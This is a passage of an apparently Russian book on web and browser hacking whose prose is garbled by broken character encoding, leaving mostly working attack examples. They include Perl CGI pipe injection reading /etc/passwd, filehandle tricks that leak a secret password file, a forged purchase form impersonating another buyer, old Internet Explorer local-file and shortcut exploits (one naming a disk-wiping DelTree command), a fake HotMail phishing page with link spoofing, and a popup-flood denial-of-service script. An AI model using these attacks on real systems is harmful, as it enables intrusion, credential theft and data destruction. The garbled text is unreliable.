᪠  ࠣ , ਢ  ( ᪥, ਫ  ,  室  䠩 "/SRC/open.pl"):


 open(FX,"$file");

 while (<FX>)

 {

 print;

}




᫨ 祭 ६ "$file" ।   ப ( १ ६ 㦥), 諥 砥     ᢮ ᬮ७!  ஢ ᯥਬ⮢  ᯮ짮 ᫥騬 HTML-,  ࠧ饭  ࢥ http://hpnc.webprovider.com/open.htm


 <html>



 <head>

 <title>OPEN's Demo</title>

 </head>



 <body>

 <H1><CENTER>OPEN's Demo</h1></center>

 <HR>

 <div align="center">

 <form method="POST" action="open.pl">

 <br>Enter file name or "command |"<br><br>

 <input type="text" size="60" maxlength="200" name="file" value="echo Hello,Sailor! |">

 <input type="submit" value="Exec">

 </form>

 </div>

 <HR>

 </body>



 </html>




᫨  ⢥  䠩 㪠 "echo Hello,Sailor! |",   ਢ⢨ <Hello, Sailor> ⮡ࠧ   㧥, ⢥ত ᢮  ᯥ譮 믮  "echo".
  ᬮ ᮤন ୥ ⠫ 筮   "ls * |", १ ࠡ ன  룫拉, ਬ, ⠪:
 apache
 bin
 boot
 cdrom
 dev
 disk1
 etc
 floppy
 home
 httpd
 usr
,  䠩  ⠫ 室  ४ਨ "/bin" ( ⥪   뤥  ⮬),    ᫥饩 : "ls /bin/* |", १ ࠡ ன  :
 ae arch bash buildh cat
 chgrp chmod chown chsh cp
 cpio cptar cptar~ csh date
 dbish dd df dir dmesg
 echo ed egrep false fdflush
 fgrep fuser grep gsu gunzip
 gzip hostname htp2ftp.pl htp2ftp.pl~ httpd
 i8sql kill ksh ln loadkeys
 login ls mkdir mknod mktemp
 more mount mt mv netstat
 pico ping ps pwd rbash
 rm rmdir rsh run-parts sed
 setserial sh sleep stty su
 sync tar tcsh tempfile texhash
 true umount uname uncompress vdir
 vi vworld xem xem~ zcat
   䠩   饭  ᯮᮡ. , ਬ, ⨫ "more" (  뤥  ⮬)  ᬮ ᮤন 䠩 "/etc/passwd",   㣮 䠩 㪠   ப.   룫拉 ⠪:
 GET open.pl?more%20/etc/passwd%20|
:::::::::::::: /etc/passwd::::::::::::::
 root:x:0:0:root:/root:/bin/bash
 daemon:x:1:1:daemon:/usr/sbin:/bin/sh
 bin:x:2:2:bin:/bin:/bin/sh
 sys:x:3:3:sys:/dev:/bin/sh
 sync:x:4:100:sync:/bin:/bin/sync
 games:x:5:100:games:/usr/games:/bin/sh
 man:x:6:100:man:/var/catman:/bin/sh
 lp:x:7:7:lp:/var/spool/lpd:/bin/sh
 mail:x:8:8:mail:/var/spool/mail:/bin/sh
 news:x:9:9:news:/var/spool/news:/bin/sh
 uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
 proxy:x:13:13:proxy:/bin:/bin/sh
:


१ <ଠ> *




  1997  訡 䨫樨  ( 筥,   ⢨) 뫠 㦥 : ⮩ ᪮ 設 "Excite".  ࠧ, ⥭樠쭮 梨    ࢥ  ,   㤥  ⭮.
㣠 ࠭ 訡 易  ஬ ⥭  䠩 "<>" 몠 Perl,  㣫 ᪮ ண 砥 䠩  [297] ( ⨭  뤥  ⮬).
ਬ:


 open( F ,"$file");

 while (< F >)

 {

 print;

}




  ந, ᫨     䠩?  㬥樨  Perl ᪠, ⠪  뢥 ᮤন 㪠 ४ਨ ᮣ᭮ ᪥ ( ⨭  뤥  ⮬).    த஢ ࠣ , ਢ  ( ᪥, ਫ  ,  室  䠩 "/SRC/dir.pl"):


 while (< *.pl >)

 {

 print;

 print "\n";

}

 bomb.pl

 dir.pl

 hack.pl

 hello.pl

 iis4_ml.pl

 nntp.pl

 nntp_post.pl

 open.pl

 post.pl

 serv.pl

 serv1.pl

 sioux.pl

 smtp.pl

 smtp1.pl




᫨   ⥪ ணࠬ ,  ஬  । 㬥⮬  ப    ६ 㦥,   蠡 䠩,   ᮤন   ⠫ ࢥ.
⭮ ᮡ Perl   ࠭  ।⢥  ⥪ ணࠬ.  ⮩ 楫 ᯮ ᥬ "__DATA__". ঠ饩   ⥪   ⠭ १ 䠩  "DATA".  ਥ  ᯮ ணࠬ⠬  ࠭ 䨣樮 ஥, 㦥 ,    ஫.
᫨   䨪樨   ஢ ⠪㥬 ணࠬ,   祭  "DATA",   ᮤন  .
ਬ, ਢ ( ᪥, ਫ  ,  ᯮ  䠩 "/SRC/data.pl"),  ᯮ짮  "DATA"  㯠  ਢ .


 while (< DATA >)

 {

 print;

}



 __DATA__

 file: "mit";

 dir: ":/cfg/gbook";

 user: "Jafar";

 pass: "qwerty";

 file: "mit";

 dir: ":/cfg/gbook";

 user: "Jafar";

 pass: "qwerty";




⭮,  ࠪ᪨     ਯ⮢  ⢫ 䨫樨 ப "DATA",  ᫨ ⨢ ᯮ  ᥬ  ᢮ 楫. ⢨⥫쭮, ७ ᥪ , ⠪, ਬ,   짮⥫  ஫,  ⥫ ணࠬ, ⥫쭮 ᭨   ⮩ ଠ樨  㪨 諥, ᪮  ଠ쭮 ࠧ⨨ ᮡ⨩  頥 १ ࠡ ਯ,    ᮤন.
६ "$0"  Perl ᮤন      ᯮ塞 ணࠬ. ᫨     ਯ    䠩,  ( ᨬ  ०  䠫)   ⮫쪮 ,   ஢(!) ணࠬ .
 ਢ ⥩訩 ਬ ᠬ饩 ணࠬ [298].    ⠭ ᫥騥 ࠢ "r w x - - x - - x",   㣨 ᫮, ⢨  짮⥫ ࠢ ,  頥   ணࠬ   ᮡ⢥묨 㪠!


 $file=">$0";

 open(H,"$file");

 print H "\nprint 'Hello,Sailor!';";

 close(H);

᫥ ࢮ ᪠,  ਯ 㤥 룫拉 ᫥騬 ࠧ ( 梥⮬ 뤥 ப,  ᠬ ணࠬ):

 $file=">$0";

 open(H,"$file");

 print H "\nprint 'Hello,Sailor!';";

 close(H);

 print 'Hello,Sailor!';




  ᫥ ᪠, ࢥ 㤥 뢮 ਢ⢨  ࠭, 㢥稢騥  ⢥   樥.
⢨ 䨫樨 ६ "$0"   䠩  ਢ  १ ணࠬ   HTML 㬥, ᯮ  ࢥ.
㣠 ࠭ 訡 砥   ०  䠩  㬮砭. ᯮ  䠪,  㭪 "open",   ᨬ  䠩,  ० 㯠,    䠩  !  ⮣ 筮 㪠 㣫 ᪮ ">" ।  䠩.
ਬ, ਯ, ਢ ,    ।砥  ⥭ 䠩:


 open(F,"$file");

 while (<F>)

 {

 print;

}




 ᠬ  ,  ⨯ ">filename" ᯮᮡ 㭨⮦ ᮤন 䠩 "filename",    室   ࠧࠡ稪 ਯ. ⮬, ४   ० , 뢠  諥. ࠢ쭮 ⨥ 䠩  ᫥饣 ⥭    룫拉 ਡ⥫쭮 ⠪: "open(F,"<$file")".     ᫥,   "open(F, ">$file")", 뢠 䠩  ,    ࠢ쭮! ᫨ ६ "$filename" ᢮ 祭 "> file",  १  "open(F, "> file")"  䠩    ,   ୥  .    ⠪      ࠭祭 ꥬ   ஬  㯭 ᪮ ࠭⢮    ࢥ 䠩  ⨬ ࠧ.
  ࠭ 訡 易  ᮡ ࠡ⪨ ᨬ "-".  ।  ⢥  䠩,  ࠪ  "STDIN" (⠭ )  ⥭  "STDOUT" (⠭ 뢮)  .
 ᯮ짮 ⠭ ਯ⮢ ४    䠩, ᮡ ᮤঠ ᥪ ଠ.  ᮢ㯭  ࠢ쭮 䨫樥 , ᥪ饩  ⪨ ᬮ ᮤন ४ਨ,   ⥫쭮 ⥯ ᭨ ⭮ ᯥ譮 ⠪.
 諥   易⥫쭮   䠩. 筮 ᯮ짮: ஢ 䠩 ஢!  ਥ த஢  ਬ, ਢ  ( ᪥, ਫ  ,  室  䠩 "/SRC/cpyfh.pl"):


 #:

 open( AH ,"<passwd");



 #:

 $file=$ARGV[0];

 if ($file =~ /passwd/) {die "Goodby, Hacker!\n";}

 open( BH ,"<$file");

 while (< BH >)

 {

 print;

}




᫨ 楬 [299] ( ࠧࠡ稪!)  ணࠬ  ᥪ⭮ 䠩 (ਬ, "passwd")   㧭,   ᨬ  ࠭ ਯ, 諥, ० 祬 ᬮ    ᥪ⭮ 䠩 㤥 㦤 㧭  . ᫨   ᬮ 室 ⥪ ஢ ਯ,   ᯥ譮 ⠪ 諥 ॡ  ⮫쪮    ࠭騬  ࢥ 䠩,   ᫥⥫쭮 ॡ     㣨,    ᪮.
⮬,  ᯮ짮 饤㯭 ਯ⮢ ⥫쭮 ४    䠩, ।⠢   諥.     ⠪ ਥ 뢠 ᨫ । ⠪, ᫨ ࠧࠡ稪  訡,  १ ன ⠭  ஢ 䠩 , 易  ᥪ 䠩.
ਬ,  ਢ  ਬ, ᥪ 䠩 뢠   ⪥ ணࠬ,  - ᮢ襭  㣮   , 뢮騩  ࠭ ᮤন 䠩, 㪠 짮⥫.  ।饭 ⠪ 믮 ஢ઠ  짮⥫ ப  ᮮ⢥⢨   ᥪ⭮ 䠩,  ᫨ 諥  ⢮ < >, 祣  :
 GET /cgi-bin/cpyfh.pl?passwd
 Goodby, Hacker!
 ᫨   䠩   " amp;AH",  ࠭  ᮤন ᥪ⭮ 䠩,   த஢  ਬ, ਢ :
 GET /cgi-bin/cpyfh.pl? amp;AH
 Vasia:qwerty
 Petja:admin
 Super:toyta
 Dimon:daemon
맮  "open(F1,"x amp;F2") [300], ਢ  ஢ 䠩  F2  F1. ᫨ ६ "$file" ᢮ 祭 " amp;AH",  맮 "open (BH, "<$file")"  䠩  AH  BH,   "while <BH>" ⠭ ࠢᨫ쭠 "while <AH>"  ⠥ ᮤন ᥪ⭮ 䠩,  ண 諥  ᮢ襭 易⥫쭮.


१ <砭>




 룮 ᯮ짮 ᥢ (alias), ᮧ   樨 'x amp;='.  ⮬ ਣ 䠩    ᮧ ᥢ    ⢮.
᫨  ਢ ணࠬ ⠢ ப,    룫拉  ⠪, - ⪠ ஢   祬  ਢ,  ᥢ  -० ࠡ.
$file=$ARGV[0];
if ($file =~ /passwd/) {die "Goodby, Hacker!\n";}
#:
open(BH,"<$file");
#:
open(AH,"<passwd");
#:
while (<BH>)
{
print;
}
᪮ ᮪  窨 ७ ⥬ -뢮 -  䠩, ४⭮ ࠡ騥  ࠬ 'print'  '<>',   䠩   ᮪⮬ , ᮮ⢥⢥, .
᫨ ਯ ⠭ ᮥ   ࢥ஬ (ᮢ襭 ,   ,    ⮪)   짮⥫   䠩   [301],  諥   ⢨  ⨬ ࢥ஬!
ਬ, ਢ  ( ᪥, ਫ  ,  室  䠩 "/SRC/exchsc.pl"),  訡, ਢ  墠 䨪:
 socket(POP3, PF_INET(), SOCK_STREAM(), getprotobyname("tcp"));
 connect(POP3, sockaddr_in(110,inet_aton('zmail.ru')))
 $file=$ARGV[0];
 $x=<$file>;
 print $x;
 close(POP3);
 GET /cgi-bin/exchsc.pl?POP3
 +OK CommuniGate Pro POP3 Server 3.2.4 ready <1731731.956833213@backend1.aha.ru>
ਫ, 騥 ⠪ 梨, ᯮᮡ 믮  諥   ࢥ,  ஬  ᯮ.   ᯮ짮, ਬ,  ᮢ ⮢ 뫪.
筮, ⠪騩 㤥 祭 ࠭祭  ᢮ . ᭥ 㦥 騬 ᮥ   ࢥ஬   ⮪ , ᪮॥ ᥣ,  ᬮ 稭 ⥫쭮 ࡠ.  ᭮ 砥  ⮬,  ஭  ᯮᮡ    ᥪ  裡,     ଠ쭮 室 饩   . ᮡ  㠫쭮  ⥬ ஭ 樨, - ᫨ 諥 㤠 墠 ᮥ  ⮬,  ᬮ <ᬮ>  ।⭮ 窨   㣨 䨤樠묨 묨, ।묨 ⮬  ࢥ   ᪠ !
筮, 㯭 on-line ,  ࠢ,  ᮤঠ  訡.    ஬ ⢮  ⠢騪 ࠧ筮 த ,  ᭠ ணࠬ ᯥ祭, ᮧ < > 拉 ᥩ! 訡, ᠭ , 祭 ࠪ   ࠧࠡ⮪.


१ <ଠ>




஬ ᭮ ।⠢ 㬥஢ (  㬥஢  ) ᮡ ஢.  Perl  ⮬ ᫥   ᪫祭.
  ॠ樥  ଥ PC 易  ஬ ᪠. ଠ "Netscape"   稭  ঠ  ᢮ ࢥ 樠樨 䠩 ७  ᯮ塞묨 ਫﬨ.  ⮣  । <襡> 襭:  㪠뢠 ॡ㥬 ਫ  ᠬ URL. , ਬ, 맢 "hello.pl" 室 ⠪: http://NetscapeServer/cgi-bin/perl.exe?hello.pl.
 ࢮ 鸞 祬, ஬ 쭮 砭 WEB-஢,   ॢ.  㦥  祭 㬥樨  PC-ᨨ Perl 뢠 ⭮. ᮡ ࠡ⪨  ப ਢ  ⮬,   ࢥ   ᯮ     . 筮 ᯮ짮 ஬,   樥  "| ".
ਬ, ᫨    ப "perl xxx|dir",  'xxx'  ,   易⥫쭮 饣, ਯ, ந ᫥饥: ᯥࢠ, ஬ 㤥 ।ਭ ⪠  䠩 'xxx', ⥬, ᨬ  ᯥ譮 ।饩 樨, 㤥 믮  'dir'.


१ <砭>




믮   Perl, ਬ, 'exec'      ப, '-e',  祬 ᮮ頥   ⪮ ࠢ, 뤠  㪠  '-h'   ப.
 ਢ ਬ ( ᪥, ਫ  ,  室  䠩 "/SRC/form.htm"  "/SRC/form.pl") ஢஢ 㠫쭮 , 饣 த ⮢ १ Internet c ⮩  । 窠. । ࢮ 㯪 ⥫ (    設⢥ ⥬ ஭ ࣮) 室 ॣ஢ -  ᢮    ।⭮ .   㤥 㦤  ஫ ⮢୮ ।⠢ ଠ樨 ( ⥬  ⤥쭮 ࠧ). ਯ    ᢥ,  ᢥ 直 ࠧ  㧪.


 <HTML>

 <HEAD>

 <TITLE>VIRTUAL SHOP's "Hamburg"</title>

 <META charset=windows-1251>

 </HEAD>



 <BODY>

 <H1><CENTER>VIRTUAL SHOP's "<U>Hamburg</U>"</CENTER>

 <HR>

 </H1>

 <CENTER>

 <form method="POST" action="form.pl">

 <br>Name:

 <BR>

 <input type="text" size="30" maxlength="300" name="name" value="Vasia">

 <BR>

 <br>Credit card number:

 <BR>

 <input type="text" size="30" maxlength="30" name="card" value="OC271191">

 <BR>

 <BR>

 <input type="submit" value="Welcome">

 </form>

 </div>

 <HR>

 </body>



 </html>



 #!/usr/local/bin/perl

 print "Content-type: text/html\n\n";

 print "<HEAD> <title>VIRTUAL SHOPs 'Hamburg'</title></head>\n";

 print "<BODY> <H1><CENTER>VIRTUAL SHOPs '<U>Hamburg</U>'</H1></CENTER><HR><BR>\n";



 parseparameters();

 $Name=$parameters{'name'};

 $Card=$parameters{'card'};

 $Passwd="None";

 $file="users.dat";



 open(F,"<$file") || die "File $file not exist!\n";



 while($f=<F>)

 {

 $tmp=<F>;

 if ("$Name\n"=~$f)

 {

 if ($tmp!~$Card)

 {

 print "<CENTER><H1>Wrong Card Number</H1><HR>";

 die;

}



 $Passwd=$tmp;

}

}



 if ($Passwd=~/None/)

 {

 open(F,">$file");

 print F "$Name\n";

 print F "$Card\n";

 close(F);

 print "<B>New Buyer!</B><BR>\n";

}



 print <EOF;

 Buyer:$Name

 <BR>

 Card:$Card

 <TABLE width=100% border=1>

 <TR>

 <TH>Product ID

 <TH>Product Name

 <TH>Purchase

 <TR>

 <TD>Y2ZA

 <TD>Mice

 <TD>1 dollar

 <TR>

 <TD>ZG6T

 <TD>Mice Pad

 <TD>5 dollar

 <TR>

 <TD>3 FZ9Y

 <TD>CD-ROM RACK

 <TD>7 dollar

 </table>

 <HR>

 <CENTER>

 <form method="POST" action="buy.pl">

 Product ID:

 <input type="text" size="30" maxlength="30" name="$Name"; value="Y2ZA">

 <input type="submit" value="Buy">

 </form>

 EOF







 sub parseparameters(;$) {

 local $_ = shift || $ENV{"REQUEST_METHOD"};

 my $buffer;



 $buffer = $ENV{"QUERY_STRING"} if (/^[Gg][Ee][Tt]$/);

 read(STDIN, $buffer, $ENV{"CONTENT_LENGTH"}) if (/^[Pp][Oo][Ss][Tt]$/);



 @_ = split(/ amp;/, $buffer);

 for (@_) {

 tr/+/ /;

 s/%(:)/pack("c",hex($1))/ge;

 (my $key, my $value) = split(/=/, $_);

 $parameters{lc($key)} = $value;

}

}






᫨   짮⥫   ।⭮ 窨 [302] (ਬ, "Kris Kaspersky; oc674-ui56")    "Welcome",  ࢥ ਢ  㯠⥫  ।   ⮢  㯪.     ࠡ⠥ ଠ쭮:




㭮 025 ஢஢ 㠫 



 ⮣ ⮡ ᮢ 㯪  㦮  ॡ   ।⭮ 窨,  ⥭ ⮫쪮  ⥫.    砥 ࢥ ࠭ ଠ   ⨢  짮⥫,    <> 㦮   ᢮.  祭 ᮤন ࠭窨, 室    㧥 㭪 <ᬮ   HTML>

㭮 026 ᬮ ᮤন ࠭窨   HTML
 ᫥騩 , ᮤঠ騩,  ࠩ ,  
㡥 訡,   ⢫ 㯪   㦨 .


 <TH>Product ID

 <TH>Product Name

 <TH>Purchase

 <TR>

 <TD>Y2ZA

 <TD>Mice

 <TD>1 dollar

 <TR>

 <TD>ZG6T

 <TD>Mice Pad

 <TD>5 dollar

 <TR>

 <TD>3 FZ9Y

 <TD>CD-ROM RACK

 <TD>7 dollar

 </table>

 <HR>

 <CENTER>

 <form method="POST" action=" buy.pl ">

 Product ID:

 <input type="text" size="30" maxlength="30"

 name="Fox"; value="Y2ZA">

 <input type="submit" value="Buy">

 </form>




 ࠡ     ᫥騩:  ⨨   <Buy> 뢠 ਯ "buy.pl", ஬ ।  ࠬ -  짮⥫   㯠 ⮢.   ।⭮ 窨  । ࠬ . 祢, ਯ "buy.pl" ᠬ⥫쭮    , ᯮ  㯠⥫. ᪮ 짮⥫   ஢ 䠩, ࠭騥  ࢥ, ⠪ 奬       .   蠥 諥 ࠭ ࠭  ᢮   , ।஢  ᢮ ,   㤠?
⮡   ࠡᯮᮡ ਯ, 室  ⭮⥫ 뫪  ᮫묨,     㪠 ⮪,  㧫    䠩. ࠢ ਠ  룫拉 ⠪ ( ᪥, ਫ  ,  室  䠩 "/SRC/form_hack.htm) [303]:
:
 <form method="POST"
 action="http://kpnc.softclub.net/cgi-bin/buy.pl">
 Product ID:
 <input type="text" size="30" maxlength="30"
 name="John"; value="Y2ZA">
:
᫨   ࢥ  짮⥫ "John",    㤥  । 㬬, ᪮ ࠧࠡ稪 㠫쭮   ।ᬮ५   ஢  .
筮 १      ⥬. 筮  맢 ਯ "buy.pl" ᫥騬 ࠧ: "GET /cgi-bin/buy.pl?Jhon=Y2ZA",  "Y2ZA" -  ⮢.








⠪  HTTP-


O  ⮩ :
O 䨪 ᭮ 訡
O 訡, 騥     䠩 
O 訡, 騥  㧥 ( 樮 ⥬)
O 孨  ᠩ⮢  ⮤  㦥
<:直,    ⥡  ਤ !   ⢮ ஢᭨! . 㤥   ஢᭨! 㤥. 訢,    ࠧ? H>
 㬡. ", 誠,   ਮ"
६ 㧥 ।⠢ ᮡ 祭 ᫮ ⥬, ন騥  ⮫쪮  㭪樨 ଠ஢ ⥪,   騥  ᥡ ।⢠ 믮 ணࠬ, ᠭ  Java, JavaScript, Visual Basic Script  ..  १ ⠪ ᫮   訡 ॠ樨,  諥   ଠ ࠡ  , ⠪      䠩  .
筮, -ந⥫ ࠢ 訡,   ⫨稥  ࢥ୮ ணࠬ ᯥ祭, <⪨>  த <த ॡ>   ॡ묨.    冷 짮⥫  ᮡ⢥ ᭮  ⠪ ⥯, ⮡ ॣ୮  ᠩ -ࠧࠡ稪  ᢮६ ⠭  ࠢ.
 訡  ୥ 㧥 Internet Explorer  Netscape Navigator ਡ⥫쭮 ⮫쪮 , ᪮쪮   ⠫ ணࠬ  . ६  襩   諮  ᮪ ਨ   묨 ﬨ,   ᥣ   筮,  ⠪  ⮢ -० .
設⢮ ⠪ , .. 諥  ᯮᮡ ᠬ⥫쭮 ⠪  ,    믮  ⢨, ਬ,   ࠭, ᮤঠ ᪨ ,   뫪  .. ⮬, ᫨  ⮫쪮 ⥫ ࢥ, ⠪   .   設⢥ 砥 ⠪ 襭 뢠 ਥ: 祭  ॡ㥬  室  ࢥ ⭮ ந宦     㣮 ୠ⨢ ஬  ᪭    . ஬ ⮣,  ⮢  㬥 ⮡ࠦ 쬠  ଠ HTML,  諥,  騩 ,  ⢠ ﭥ   ࠭,  ࠢ  쬮, ᮤঠ饥 ⠪騩 HTML-! 饭  ⮡ࠦ HTML-쬠  뢠 ਥ, ᪮,   짮⥫ ࠢ 쬠   ⮬ ଠ.  ॡ    ᢮ ᯮ⮢ 뫠 ᯮ  plain text only!
 訡, 騥  㧥,     ᫥ ⥣ਨ:
1) 訡, ਢ騥   ९  , ᫥⥫쭮, 訢 ⥬  믮   । 
2) 訡, 뢠騥   䠩, ᯮ   
3) 訡, 騥 뢠 㦨 ᠩ
4) 訡 ஫ ४⭮ HTML-   ਯ⮢, 騥 諥   ⥬ ,  㧥 ( ⥬), 뢠 ࠧࠦ騥 ᪨  㪮 䥪  ..
訡 ९  ணࠬ  ஢ ᫮  ᥣ譥 室  ஢  䠪᪨   ᥣ 㦨  . ⮤ ᪠ 梨  த ᠭ   <孮 뢠 ⥪>   ᬠਢ  .


१ <ଠ>




 ਫ Internet Explorer ᨩ 4.0  4.1  ⪥   [304]   ண ॢ蠥 256 ᨬ, ந室 ९    ᯮ । ⢥ .  ⢥ত Microsoft 訡  ⮫쪮  ᪥ 㧥  Windows 95 (Windows 98)   묥  䥪  Windows NT.
஡  ⮬    孨᪮ ⪥ ID: Q176697 "Security Patches for Internet Explorer"   Microsoft.
  ᠬ ந室  ⪥  ᫨誮  뫪  ⮪ "mk". ஡  ⮬    ᠩ 㯯 l0pht (http://www.l0pht.com/advisories.html)


१ <砭>




⮪ mk ᯮ  㯠  *.chm - 䠩.  ७  䠩  Windows  Microsoft Visual Studio.   易 㣠 梨 - ਯ   window.showHelp() 뢠 chm 䠩  쭮 ᪠ 짮⥫,  ᠬ chm 䠩  ᮤঠ  ᥡ  ᪠ ᯮ塞 䠩.
訡, 뢠騥    䠩  [305],  ⨯  Internet Explorer, ᫥⢨  ᭮ ⥣樨  樮 ⥬.  १ ⠪ ⥣樨  প 뫮  "file:/// 䠩", ࠡ  묨 䠩  .  ꥤ <஢> Windows  㧥஬ 稫 Internet Explorer 뢠 모 (䠩  ७.lnk).
 ࠧ,   ᮧ 뫮,  뢠, ⠪  ᪠ 㬥  䠩   . 騩 ਬ  뫪, ⨥   ᪠ ਫ "calc.exe"   .


 Index.htm

 <A HREF="calc.url">Click Here</a>

 calc.url

 [InternetShortcut]

 URL=file://calc.exe




᭮ 砥  ⮬,       ⠪ ணࠬ,  "format.com", "deltree.exe"  .  Internet Explorer 3.0 ᪠   ।०.  ⨦ 㬠 諥 뫮 筮   ᢮ ࠭ 뫪  lnk 䠩, ᮤঠ騩 맮  "C:\Windows\Command\Start.exe DelTree /y C:\".
 ᫥  Internet Explorer  訡 뫠 ࠭,  㦨  㣨. 뫮  ᫥ ஡ ࠧ    . ⨢ ଠ    ᠩ ந⥫    ᨬ 筨 (ਬ, www.l0pht.com).
 ᫥   ᠭ ,   㧥 Internet Explorer, 饭  ࠢ Windows 2000, ⠥ ᭮.   訡    䠩  ᪠ 짮⥫. ᪨  ਯ    ⮫쪮  ⥬ 䠩,  室  ⮬  , 㤠   饭 ਯ.  ண ᮡ ⮣ ࠢ ⥫쭮 ࠭稫   ਯ⮢, ⮬ 諮    ᫠.
 "windows.open(file://C:/test.txt)" ஥ 䠩 ᨬ  ⮣,    ᯮ 뢠騩 .      ᮤন  ଠ쭮 ࠧ⨨ ᮡ⨩ .  ᫨   ७ࠢ    䠩  URL, 㪠뢠騩  Java-,   Java- 믮  ⥪ 쭮 㬥 , ᫥⥫쭮,     !
 ਢ   ਬ஢ ணࠬ ॠ樨 ⠪  ( ᪥, ਫ  ,  室  䠩 "/SRC/iebug.htm").    ࠡ⠥  - 㧥, ⠪   ᬮ HTML-쬠  Outloock Express.


 <SCRIPT LANGUAGE="JavaScript">

 z=window.open("file://c:/test.txt");

 z.location="xxxxxxx";

 </SCRIPT>




 z.location="xxxxx" ⢫ ७ࠢ  㪠 , ਬ, http://www.nat.bg/~joro/reject.cgi?jsredir1.  ⮬ 砥 ᮤন 䠩 "C:\test.txt" 㤥 뢥   .
 Netscape Communicator 4.7  ।饭 㯠   䠩, 饭 ᯮ짮 ⮪ "file"  㬥,   ⮪ http.  ᢮  ஢થ ࠬ஢, । ⠪ 㭪, , ਬ, "open".   㠫쭮 設 Java  㫨஢ 묨 䠩  ᨬ  ⮣, 㤠  㦥 ਯ.  ਢ    ਬ஢,   :
 URL zzz=new URL("file://C:/test.txt");
 getAppletContext().showDocument(zzz,"newin");
প    Internet Explorer 5.01 (   㣨 ) ॠ  訡. ⨥ "NavigateComplete2", 騥  襭 ᥫ 㬥   ⮯,  ᯥ   ⮬ 㬥,  ᫨  ᯮ  쭮 ᪥ .
, ਢ  ( ᪥, ਫ  ,  ᮤন  䠩 "/SRC/ifrane.htm"),  ⥭ 䠩 "C:\test.txt" 뢮  ᮤন   :


 <IFRAME ID="Z"></IFRAME>

 <SCRIPT for=Z event="NavigateComplete2(x)">

 alert(x.document.body.innerText);

 </SCRIPT>



 <SCRIPT>

 Z.navigate("file://c:/test.txt");

 </SCRIPT>






 㭪 089 த஢ १ ࠡ ⮣ ਬ.   ᯥ譮 믮 室 ।⥫쭮 ᮧ  ୥ ᪠ "" 䠩 "test.txt" c ந ᮤন.




㭮 086   ᮤন  䠩  ᯮ짮 IFRANE



 諥  饭 䨤樠쭮 ଠ樨 (ਬ, ஫) ᯮ 孨  ᠩ⮢,   ᫥饬: 諥 頥  ᢮ ࠭ 뫪,     hotmail.com (  㣮 ᠩ),  ⢠, 訢 ࠢ 㤠,     hotmail.com,   ࠭ 諥,  譥  祬  ⫨  ਣ. 樠 ࠧ ᪮஢ ਯ 䠫 ப , ப     㧥. 祣  ॢ ⢠  ᢮ ஫, 뢠  諥. 樠쭮 ⠥,   ਥ ᭮뢠   訡 ॠ樨,      㬥஢  ਯ⮢, ⮬ ࠪ᪨  ࠧ㧥  祭 ⢥ 뢠 㦨 ᠩ  ⭮, ⮡  襬 饬 - .
᭮  ⠪  த 祭 , -   ᠩ⮢ 뢠 諥 ஬ ᯥ⨢. ਬ, ⠪ ᯮᮡ   ࠭   ᪨ .  ࠭窨  㯪 ᫨   쬥 - ணࠬ,  猪 ਬ 室  ।஦ (   ⨢  ..).  ⮨  ࠧ  ᥡ 뫪, ᪠,  ⠪- ,   ᠩ Microsoft,   蠭 ᫠ ⥫쭮  १ .   㠫      ᮡ ਠ ⪨.
 㤥 ,  ⢫ ⠪      㦨. 騩  ( ᪥, ਫ  ,  ᯮ  䠩 "/SRC/webfake.htm")   ᠩ HotMail.com ( 饭 譨  ࠭窨 ਢ  奬筮 ):


 <TITLE>

 Demo Fake WEB

 </TITLE>



 <SCRIPT>

 function fake()

 {

 z=window.open("view-source:javascript:location='http://hotmail.com';")

 z.document.open();

 z.document.write(" <TITLE>

 http://hotmail.com

 </TITLE>

 <H1>Fake HotMail</H1>

 Sign-In Name<BR>

 <INPUT type=text><BR>

 Password<BR>

 <INPUT type=text><BR>

 <INPUT type=button value=' ok '>");

 z.document.close();

}

 </SCRIPT>

 Go to

 <A HREF="javascript:var a;

 "onclick="fake()" onMouseOver="window.status='http://hotmail.com';

 return true">

 HotMail </a>











㭮 087  ᠩ HotMail



  짮⥫  㦤 ॡ : 1) ᮤন ப , 饥     뫪; 2) ப  襣 ; 3)  ; 4) ᮤন 䠫㥬 ࠭窨.
ন 䠫㥬 ࠭窨 孨᪨   ᫮, - 筮 ᪮஢ ਣ   䨪  몮 (᫨ ⠪ ).  ᫮    ਯ⠬, ᮤন  㯭, ⮬  ਤ ᮧ ᠬ⥫쭮.
᪮,     뫪  ப  ⮡ࠦ  室,      㦤 室   ᮤন.   , ਬ,   ᫥饣 :


 <A HREF="javascript:var a;

 "onclick="fake()" onMouseOver="window.status='http://hotmail.com' ;

 return true">




-   ᠬ  , ᪮   ப  ⠥  ᫨ 뢥   ࠭ 뫪,    뤥 뫪    <Tab>  ப   ⨭  室. 㬥,    ࠭ ᫮ ,  設⢮ 諥  㦤 ᥡ 묨 ⢠, 뢠   ᫨誮 譮 짮⥫.




㭮 088 ⨭  室  뤥 뫪    <TAB>



஢ ப  ᪮쪮 ᫮, ᪮  㧥 ।ਭ ⪨    䨪樨. ⮬, ᫥騩   ᥣ 㤥 ᯥ譮 ࠡ ( 筮,    ࠡ⠥):
 z=window.open("view-source:javascript:location='http://hotmail.com';")
    ୮    ⥣ <TITLE>,  ।⢮ Java-ਯ.  㭪 087 த஢ १ ⠪ .   ᯮᮡ  ? 筮,  ᬮ 室 HTML-⥪ ࠭, ᮤঠ騩 뫪,   ⭨ ஥ ६  ॡ  짮⥫ । 䨪樨.   㯨 , -   뫪 ࠢ 襩    ᯠ饬   㭪 <᢮⢠> ( 㧭  - -㣮,  ᨬ  ᯮ㥬 ணࠬ ᯥ祭).




㭮 089 ᭥   뫪



  ᠭ ਥ, 騥  ଠ ࠡ 㧥.   ।   ⭮ , 뢠騥  ᪮筮 横 ⢮ . , 騥  ᪮ ࠪ,  祭 ⪮ ६   㯭 .
ਬ, 諥  ࠧ  ᢮ ࠭窥 HTML- ᫥饣 ᮤঠ ( ᪥, ਫ  ,  ᯮ  䠩 "/SRC/win.htm"):


 <BODY BACKGROUND=Medium.jpg>

 <SCRIPT LANGUAGE="JavaScript">

 atack()

 function atack()

 {

 var b = 0

 while (true)

 {



 d = new Date;

 b=d.getMilliseconds();

 window.open("win.htm",b,"width=215,height=300,resizable=no");

}

}

 </SCRIPT>






  ࠡ  Windows 2000   㭪 085.  ਢ  <஭ 㧪 > -  㧪  樮 ⥬. १ 祭 ⪮ ६ (㪢쭮  祭  )  ਡ  100%   ⮣   ⠭ 祭 ᨫ쭮 ମ.  ॡ   ⮫ ⥫,   ࠢ 筮 ⨬, ᪮ ⢮    ࢮ ਡ 㢥稢  ᪮ ணᨨ.
